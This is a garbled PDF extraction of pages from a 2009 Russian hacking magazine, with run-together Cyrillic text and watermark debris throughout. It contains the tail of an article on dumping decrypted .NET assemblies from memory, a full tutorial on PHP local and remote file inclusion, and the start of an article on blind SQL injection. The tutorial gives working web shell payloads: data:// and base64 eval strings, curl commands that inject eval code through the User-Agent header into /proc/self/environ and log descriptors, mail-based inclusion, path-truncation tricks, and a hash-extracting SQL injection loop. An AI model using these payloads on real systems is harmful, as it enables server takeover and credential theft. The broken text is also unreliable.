Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
16.73 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

>> взломw Click

 

BUY

 

 

w Click

to

 

 

 

 

 

m

 

to

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ДАМППАМЯТИУЖЕРАСШИФРОВАННОЙСБОРКИ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

атакжешифрованиястрок.Онатакиделает,ноанализкода

делаемдампILикомпилируем…—получаемновуюполностью

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

отэтогонеусложняется.Нуда,теперьметодыназываются

работоспособнуюсборкусоснятойзащитой.Вокак!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

типаa,b…Тотжеобработчикмылегкоидентифицируемпо

Справедливостирадистоитотметить,чтовтекущейверсии

DVD

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

определениюделегата,ашифрованныестрокивсеравнобудут CodeVeil3.2,позаявлениюразработчиков,реализованадина-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

расшифрованы.Такчто,нихренаэтонезащита.

мическаязащитавовремяисполнения,чтосильнозатрудняет

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Второйметодсвязансостатическимшифрованиемвсейсбор-

задачу.Необходимодетальноисследоватьнативныйкод

dvd

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ки.Вбинарниквставляетсянативныйкод,которыйрасшиф-

шифровщика.Мнекажется,чтосозданиеunpacker’а—лишь

Надискетынайдешь

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ровываетсборкупризагрузкеприложенияизащищаетееот

вопросвремени.Поканиктоэтузадачунерешил,такчто

всеупомянутыев

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

статическогоанализа.Решенийтаких—нупростооченьмного.

дерзай,возможно,получитсяутебя.

статьетулзы, офици-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Одноизсамыхизвестных—CodeVeilотXHEO.Реальнокрутая

Такимобразом,программиступриходитсяполагатьсятолько

альноеописаниеCIL

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тулза!ПопробуемзашифроватьсборкуиоткрытьеевReflector.

насамогосебя.Можношифроватьсборки,динамически

отMicrosoft, атакже

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Оба-на,ошибка:«Module…doesnotcontainCLIheader».

расшифровыватьихвовремяисполненияиподгружатьс

препарируемый

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Reflector,ILDASMидругиеутилыдаженеидентифицируютее

помощьюApplication.Load.Вобщем,всекаквстаромдобром

CrackMe иегопро-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

как.NET-сборку.Междупрочим,вProfessional-версииутила

Assembler’е.Аможновоспользоватьсявиртуальнымиконтей-

патченнуюверсию.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

стоит1200зеленыхрублей,алозунгее—«Don’tjustconfuse

нерамитипаThinAppилиXenocode.Нуалучшевсегоивовсе

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hackers.Stopthem».Впечатляетивдохновляет!

реализовыватькритическиеучасткиспомощьюнеуправляе-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ломаетсятакаязащитавдвасчета.Давайподумаем.Если

могокода.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сборкарасшифровываетсявпамятипередпередачейуправ-

ИЗРОССИИСЛЮБОВЬЮ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ленияCLR,значит,нужнопростоснятьдамппамяти.Загру-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

жаем«защищенную»посамыеникудасборкувпамятьицеп-

Помни,чтотолькопрактикаспособствуеттвоемуразвитию.Как

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ляемсякнейWinHex’ом(ToolsÆOpenRam;далеевыбираем

видишь,всенетакужсложно,но,заходянасайтглобального

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

процессимодульвнем).Копируемвфайлсодержимоепамяти: рейтингаwww.wechall.net,ясгрустьюобнаруживаюРоссиюна

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

CTRL+A,затемEditÆCopyAllÆIntoNewFileисохраняем

25-мместе.Врейтингезарегистрировановсего5российских

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

подименемapp14_unveiled.exe.Пытаемсязапуститьиловим

хакеров-участников!Давайподдержимнашустрану:регистри-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ошибкуинициализации.Видимо,где-топоползлисекции.

руйсянасайтах-челленджахибросайбаллывкопилкуРодины.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ОткрываемвReflectorи,очудо,кодкакналадони;правда,не

ВсеописанныедействиясовершеныподмузыкуДжоКокера.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

работаетReflexil,вылетаясисключением.ЗапускаемILDASM,

Слушайблюзибудьсчастлив!z

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

XÀÊÅÐ 07 /127/ 09

 

059

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

взлом

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

НОВЫЕ

СПОСОБЫ

ВЗЛОМА

МАГ / ICQ 884888, HTTP://WAP-CHAT.RU /

НОВАЯВЕХА ВТЕОРИИИНКЛУДА

СВЕЖИЕСПОСОБЫРАСКРУТКИ LOCAL ИREMOTE FILE INCLUDE

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Спросисебя: чтотызнаешьобудаленномилилокальноминклуде? Наверняка, вответебудутследующиефразы: «обрезаниенеугодного расширенияспомощьюнулл-байта», «инклудфайловсессиииз/tmp, картиноксшеллом, логовапача...». Спешузаверить, чтоэтодалеконе всеспособывыжатьизинклудаабсолютныймаксимум! Сейчас явподробностяхрасскажуонедавноопубликованныхинтереснейшихспособахэксплуатацииэтогораспространенногобага.

>> взлом

ПРОТОКОЛ«DATA»

изучитьRFC 2397, ссылкинакоторый, как

 

<?php

Первымделомхочупознакомитьтебяс

всегда, ищивсносках).

$dir = $_GET['dir'];

отличнымспособомобходамножествахитрых

Итак, представь, чтовисследуемомphp-

 

фильтрацийприудаленноминклуде. Сейспо-

скрипте(php>=5.2.0 — именносэтойверсии

//наш мега-фильтр

собзаключаетсявиспользованиипротокола

включенаподдержкаdata идругихпротоко-

$dir = str_replace(array('http://',

Data (дляпониманияпротоколажелательно

лов) содержитсяследующийкод:

'ftp://','/','.'), '', $dir);

 

 

 

060

XÀÊÅÐ 07 /127/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ЭТОИЕСТЬPHPINFO() ЧЕРЕЗПРОТОКОЛDATA ВЫВОД/PROC/SELF/FD

ОРИГИНАЛЬНОЕADVISORY PHP FILEPATH TRUNCATION

МЫЛО, ОТПРАВЛЕННОЕТЕКУЩЕМУПОЛЬЗОВАТЕЛЮHTTPD

//стандартный файл инклуда для любой директории

$dir .= '/pages/default.php';

//собственно, инклуд include($dir . '/pages/default. php');

?>

Кажется, чтовэтойситуациинепрокатитникакойудаленныйинклуд. Ведь, крометого, что режутсястандартные"http://", "ftp://", поднож фильтрапопадаютещеиточкасослешем!

Атеперьпосмотривнимательнонаследующий эксплойтдлянашейRFI икрасивогообхода фильтра, мешающегодобросовестномухакеру (какиприлюбомдругомудаленноминклуде,

директиваPHP — allow_url_include, естествен-

но, должнанаходитьсявположенииOn):

http://localhost/index.

php?dir=data:,<?php eval($_ REQUEST[cmd]); ?>&cmd=phpinfo();

Этоткодвполнеуспешнопокажеттебевывод функцииphpinfo()! Ночтоделать, когда фильтрациястановитсяещеболеежесткойи принимаетпримерноследующийвид?

<?php

...

//более навороченный фильтр $dir = str_replace(array('_','] ','[',')','(','$','http://','ft p://','/','.'), '', $dir);

$dir = htmlspecialchars($dir);

...

?>

Тысноваможешьподумать, чтоздесьневоз- можновыполнитьпроизвольныйphp-код (дажепоприведенномувышесценарию), так какфильтромрежутсяпрактическивсесимволы, используемыевнашемevil-коде. Ноне тут-тобыло. Ужеполюбившийсятебепротокол «data» поддерживаеттакуюполезнуювещь, какbase64 (кстати, еслифильтруютсяисимволы«+», «=», наверняка, тысможешьподобрать base64-значениесвоегошеллабезних).

http://localhost/index.php?dir=dat

a:;base64,PD9waHAgZXZhbCgkX1JFUVVF

U1RbY21kXSk7ID8+&cmd=phpinfo(); ("+" заменить на url-кодированное "%2b")

Ивновьнаэкранеphpinfo()!

Нонельзяостанавливатьсянаодномлишь RFI. Приготовьсяксамомувкусному.

УСЛУЖЛИВЫЙ

/PROC/SELF/ENVIRON

Представь, чтонаопределенномсайте(http:// site.com) присутствуетследующийphp-код:

<?php

$page = $_GET['page']; include('./pages/'.$page); ?>

Затемвообрази, чтовозможностизалить файл/картинкусшелломунаснет, путиклогам апачамыненашли, ав/tmp несохраняются данныесессий. Соседнихсайтовтакженет. Чтоделать?

НеискушенныйвLFI хакеропустилбыруки. Мынеизтаких, ибонапомощьспешитхранилищепеременныхокружения/proc/self/

environ! Итак, когдамызапрашиваемлюбую php-страничкунасервере, создаетсяновый процесс. В*nix-системахкаждыйпроцесс имеетсвоюсобственнуюзаписьв/proc, а/ proc/self, всвоюочередь, — этостатический путьисимволическаяссылка, содержащая полезнуюинформациюдляпоследнихпроцессов.

Еслимыинжектнемнашevil-кодв/proc/self/ environ, тосможемзапускатьпроизвольные командыспомощьюLFI :). Заманчиво? А теперь, собственно, вопрос: какимобразом можновставитьсвоезначениесevil-кодомв/ proc/self/environ?

Оченьпросто! Темжеспособом, какимты инжектишьсвойкодвлогиапача, можнопро-

инжектитькодив/proc/self/environ.

Дляпримеравозьмемнашлюбимыйилегко подменяемыйюзерагент. Подефолтучасть/ proc/self/environ, показывающаяuseragent,

выглядитпримернотак:

PATH=/sbin:/usr/sbin:/bin:/usr/

bin:/usr/X11R6/bin:/usr/bin:/bin SERVER_ADMIN=admin@site.com

...

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 HTTP_KEEP_ALIVE=150

...

Атеперьменяемюзерагентна<?php eval($_ GET[cmd]); ?> иобращаемсякнашемууязвимомускриптуследующимобразом:

curl "http://site.com/index.php?p age=../../../../../../../../proc/ self/environ&cmd=phpinfo();" -H

XÀÊÅÐ 07 /127/ 09

061

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

взлом

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ВЫВОД/PROC/SELF/ ВЫВОД/PROC/SELF/ENVIRON STATUS

"User-Agent: <?php eval(\$_GET[cmd]); ?>"

 

 

 

Какиследовалоожидать, функцияphpinfo() успешновы-

 

HTTP://WWW

 

полнится. Приэтомчасть/proc/self/environ сюзерагентом

 

links

 

будетвыглядетьтак:

 

 

 

ru.php.net/manual/

PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/

 

 

 

 

ru/wrappers.data.php

X11R6/bin:/usr/bin:/bin

— протоколData (RFC

SERVER_ADMIN=admin@site.com

2397) иописаниеего

...

использованиявphp.

<?php eval($_GET[cmd]); ?> HTTP_KEEP_

en.wikipedia.org/wiki/

ALIVE=150

Data_URI_scheme

...

— описаниесамого

 

 

протокола.

Методвсемхорош, крометого, чтострокаюзерагентаи

ush.it/2008/08/18/

evil-коддолжныбытьвнедреныбыстроиодновременно

lfi2rce-local-

(таккактвойкодв/proc/self/environ легкосможетизме-

file-inclusion-

нитьлюбойдругойтолькочтозапущенныйпроцесс). Поэ-

to-remote-code-

тому, намотаввновьполученныезнаниянаус, переходимк

execution-advanced-

следующемуспособу.

exploitation-proc-

ЛОГИ, МЫВАСНАЙДЕМ!

shortcuts — proc

shortcuts.

Снова представь, что у нас есть сайт с локальным

milw0rm.com/

инклудом, но проинклудить ничего не получается.

papers/260 — всео

Как узнать местонахождение апачевских access_log

LFI/RFI.

и error_log? По секрету скажу, что знать, где они

itbloggen.se/cs/

лежат, вовсе не обязательно! Для нас постарался

blogs/secteam/

все тот же /proc, ведь здесь расположена удобная

archive/2009/01/26/

символическая ссылка на реальную локацию логов

alternative-ways-

apache.

to-exploit-PHP-

Использоватьеедляинклудаможнонесколькимиспосо-

remote-file-include-

бами:

vulnerabilities.aspx

1. Черезid процессаиярлыки

— инклудчерезmail.

 

ush.it/2009/02/08/

/proc/%{PID}/fd/%{FD_ID}

php-filesystem-

 

 

attack-vectors — ата-

Здесь: %{PID} — идпроцесса(узнатьможно, прочитав/

канаphp-filesystem.

proc/self/status), %{FD_ID} — ярлыкинасоответствующие

raz0r.name/articles/

файлы(обычно2 и7 — логиапача).

null-byte-alternative

Пример:

— подробнооб

 

альтернативенулл-

http://site.com/index.php?page=../../../../.

байту.

./../../../proc/self/status

 

 

 

 

 

 

 

Допустим, %{PID} равен1228, тогдаконечныйэксплойт

 

 

 

будетвыглядетьследующимобразом:

curl "http://site.com/index.php?page =../../../../../../../../proc/1228/ fd/2&cmd=phpinfo();" -H "User-Agent: <?php eval(\$_GET[cmd]); ?>"

2.Напрямую, безузнаванияid процесса

curl "http://site.com/index.php?page =../../../../../../../../proc/self/ fd/2&cmd=phpinfo();" -H "User-Agent: <?php eval(\$_GET[cmd]); ?>"

Этотспособболееприемлемдлятебя, таккак«self» — это всегдатекущийпроцесс, авпервомслучае%{PID} имеет дурноесвойствооченьчастоменяться. Вобоихперечисленныхспособах, какивлюбомдругомLFI логовапача, этисамыелоги, естественно, должныбытьдоступныдля чтения.

ПОЛЕЗНОЕМЫЛО

На этот раз тебе необходимо представить, что на сайте жертвы не работают все предыдущие способы LFI. Невероятно и страшно! Но такие случаи действительно бывают, и итальянские хакеры secteam смогли придумать удивительный способ инклуда через обычный e-mail!

Итак, большинствотипичныхвеб-приложенийсодержат

всебефункциюотправкимылавкачествечастирегистрационнойсистемы, каких-либоподписокит.д. Зачастую юзерможетизменятьсодержимоетакогописьма. Втоже времяниксымогутсохранятьтакоемылолокально.

СаматехникаLFI черезmail выглядитследующимобразом:

1.Уатакующегоестьпрофайлввеб-приложениинауязви- момсервере.

2.Атакующийизменяеткакую-либочастьпрофайла(на- пример, about), котораядолжнаприйтивписьмевкачествеподтверждениясменыинформации, насвойevil-php код, подготовленныйдлялокальногоинклуда.

3. Атакующийизменяетсвойe-mail наwww-data@ localhost (www-data — юзер, подкоторымзапущенhttpd;

иммогутбытьтакиезначения, как«apache», «wwwrun», «nobody», «wwwdata» ит.д.).

Витоге, отправленноемылобудетлежатьв/var/mail (либо

в/var/spool/mail) ииметьназваниеюзераhttpd.

Вотэксплойтдляэтогоспособа:

062

XÀÊÅÐ 07 /127/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

curl "http://site.com/index.php?page=

../../../../../../../../var/mail/wwwdata&cmd=phpinfo();"

Также, стоитотметить, чтоmail-файлбудетдоступентолько томуюзеру, комуипредназначенописьмо(тоесть, апач долженбытьобязательнозапущенподтемжепользователем).

NULL-БАЙТОТДЫХАЕТ

Снова включи воображение и представь, что все вышеописанные способы отлично работают, но уязвимое приложение содержит на этот раз следующий код:

<?php

$page = $_GET['page'];

//защита от "ядовитого нуля" if (!get_magic_quotes_gpc())

$page = addslashes($page);

include('./pages/'.$page.'.php'); ?>

Какбыть? Можнопроинклудитьлоги, новконцедописываетсянеобрезаемоеобычным%00 расширение«.php».

Наэтотразтебепоможетфича(иливсе-такиуязвимость?) самогоphp, обнаруженнаяюзеромпопулярногозабугорногохакерскогофорумаsla.ckers.org состраннымником barbarianbob.

Фича заключается в том, что интерпретатор php во время обработки пути до какого-либо файла или папки обрезает лишние символы «/» и «/.», а также, в зависимости от платформы, использует определенное ограничение на длину этого самого пути (ограничение хранится в константе MAXPATHLEN). В результате, все символы, находящиеся за пределами этого значения, отбрасываются.

ТеперьдавайподробнейрассмотримэтотвекторLFI, обратившиськуязвимомускриптуследующимобразом:

curl "http://site.com/index.php?page=../../.. /../../../../../proc/self/environ/////////// [4096 слешей]////////&cmd=phpinfo();" -H "User-Agent: <?php eval(\$_GET[cmd]); ?>"

Нашлюбимыйphpinfo(); выполнитсяуспешноиз-зане- сколькихпричин.

1.Инклудвсамомскриптеприметследующийвид–

<?php

...

include('./pages/../../../../../../../../ proc/self/environ//////////[4096 слешей]////.php');

...

?>

2. Таккакнашпутьполучитсягораздодлиннее, чем MAXPATHLEN (кстати, необязательноонбудетравен именно4096; ввинде, например, онможетбытьравен всеголишь200 символамсхвостиком, — советуюнакаждойсистеметеститьэтозначениеотдельно), тосимволы, находящиесявконцепути(вданномслучае— некоторое количествослешейи«.php»), интерпретаторphp, неспра-

XÀÊÅÐ 07 /127/ 09

шиваяниукогоразрешения, успешноотсечет.

 

3.Послепункта«2» нашкодприметпримернотакойвид:

INFO

<?php

...

include('./pages/../../../../../../../../ proc/self/environ/////////////[куча слешей]');

...

?>

Как тебе уже известно, лишние слеши в конце пути услужливый php также обрежет, и наш злонамеренный код, в конце концов, превратится во вполне рабочий LFI!

<?php

...

include('./pages/../../../../../../../../ proc/self/environ');

...

?>

Длятестаколичестваслешейдляиспользованиявданной уязвимостинасвоемсервересоветуюпопробоватьследу- ющийphp-скрипт.

<?php

//какой файл нужно проинклудить $file_for_include = 'work.txt';

for($i=1;$i<=4096;$i++)

{

$its_work = file_get_contents('http:// localhost/test/'.$file_for_include.str_ repeat('/',$i).'.php');

info

СпасибоАнтичатуза раскопкиописанных уязвимостей.

LFI/RFI илипросто

«Local/Remote File Include» — наиболее частовстречающаяся уязвимостьвphpскриптах.

WARNING

warning

Внимание! Информацияпредставлена исключительно сцельюознаком-

ления! Ниавтор, ни редакциязатвои действияответственностиненесут!

DVD

if($its_work=='1')

{

print 'Использовано слешей: '.$i;

break;

}

}

?>

Рядомсоскриптомпростоположифайлwork.txt сзаписаннойвнемединичкой.

Еслиинклудпроизошелуспешно, скриптвыведеттебе количествослешей, использованныхдляэтогосамого инклуда.

Дляполнотыпониманиятехническихсторонданногобага советуюоченьвнимательноизучитьсоответствующие ссылкивсносках.

dvd

• Всескрипты ипримерыинклудов, упоминающихся встатье, ищина диске.

• Надискетынайдешь увлекательныйвидеоурок, позволяющийна практикеувидетьперечисленныевстатье способыинклуда.

ИНАПОСЛЕДОК...

Как видишь, прогресс в ресерчинге уязвимостей не стоит на месте. Новые баги находятся уже не в phpскриптах, а в самом интерпретаторе php! То, что раньше, казалось, взломать невозможно, сейчас представляется не более чем детской шалостью и развлечением для матерого хакера. Null-байтужепрактическиканулв лету, инклудлоговапачаобрастаетновымиизощренными методами, RFI становитсядоступнымчерезпротоколы, отличныеотftp иhttp... Чтодальше? Поживем— увидим. Естественно, внашихрубриках:). z

063

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

взлом

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

НОВЫЕ

СПОСОБЫ

ВЗЛОМА

СЛЕПАЯ QWAZAR / HRONOUS@MAIL.RU /

БЫСТРОТА

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

НОВЕЙШИЕ МЕТОДЫ BLIND SQL INJECTION

Каждыйраз, натыкаясьнаслепуюSQL-инъекцию, тыпредставляешь себедолгиеминутыожиданияполучениярезультатовизбазы.

Всезнают, чтопроцессработыускоритьневозможно. Данеужели? Прочитавэтустатью, тызаставишьсвоиинъекцииотрабатыватьпо максимумуистанешьреальнымSQL-гуру.

>> взлом

ОсновнойпроблемойприработесBlindSQL

ПОЛНЫЙПЕРЕБОР

 

for($i=1;$i<=32;$i++)

Injectionявляетсяогромноеколичествозапро-

Этосамыйпростой, самыйтупойисамый

for($j=1;$j<=255;$j++){

сов,котороенеобходимопослатьнасервердля

медленныйспособполучениясимволовиз

$res = send(

получениясимволовизБД.

базыданных. ДляполученияобычногоMD5-

$url,

Асоответственно—долгоевремяработыскрипта

хешаможетпотребоватьсяотправитьдо512

"sql.php?id=if(ascii(substring((se

ибольшоеколичествозаписейвлогах.Вручную

запросовнасервер, адляполучениялогина

lect+passhash+from+users+where+id=

получатьданныеизБДпрактическинереально,

— ещебольше. Именноэтотметоднович-

0),$i,1))=$j,(select+1+union+selec

поэтомупроцессработыстакимиинъекциями

киприменяютвсвоихпервыхэксплойтах.

t+2),'1')"

нужноавтоматизировать.Сейчасмырассмотрим

Реализацияуказанногоспособавыглядит

);

некоторыевариантыподобнойавтоматизации.

приблизительнотак:

if(!preg_match('/Subquery

 

 

 

064

XÀÊÅÐ 07 /127/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

